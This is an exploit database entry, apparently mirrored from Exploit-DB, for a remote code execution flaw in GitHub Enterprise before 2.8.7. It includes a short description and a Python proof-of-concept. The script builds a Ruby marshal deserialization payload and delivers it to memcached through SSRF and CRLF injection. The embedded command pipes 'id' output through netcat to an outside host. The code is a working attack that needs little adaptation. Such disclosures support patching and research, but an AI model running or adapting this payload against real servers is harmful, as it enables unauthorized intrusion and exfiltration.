GitHub Enterprise < 2.8.7 Remote Code Execution

vendor:

GitHub Enterprise

by:

orange@chroot.org

9,8

CVSS

HIGH

Remote Code Execution

N/A

CWE

Product Name: GitHub Enterprise

Affected Version From: 2.8.7

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

GitHub Enterprise < 2.8.7 Remote Code Execution

This exploit allows an attacker to execute arbitrary code on a vulnerable GitHub Enterprise server. The exploit works by sending a specially crafted payload to the server via a POST request. The payload contains a malicious marshal code which is then executed by the server. The code is then used to execute a command on the server, such as 'id | nc orange.tw 12345'. The exploit can be triggered by inserting a webhook from the settings page of a repository and then triggering the RCE from the search page.

Mitigation:

Upgrade to the latest version of GitHub Enterprise.

Source

Exploit-DB raw data:

#!/usr/bin/python
from urllib import quote

''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'

payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]

payload = map(quote, payload)
url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/'

print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks

Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''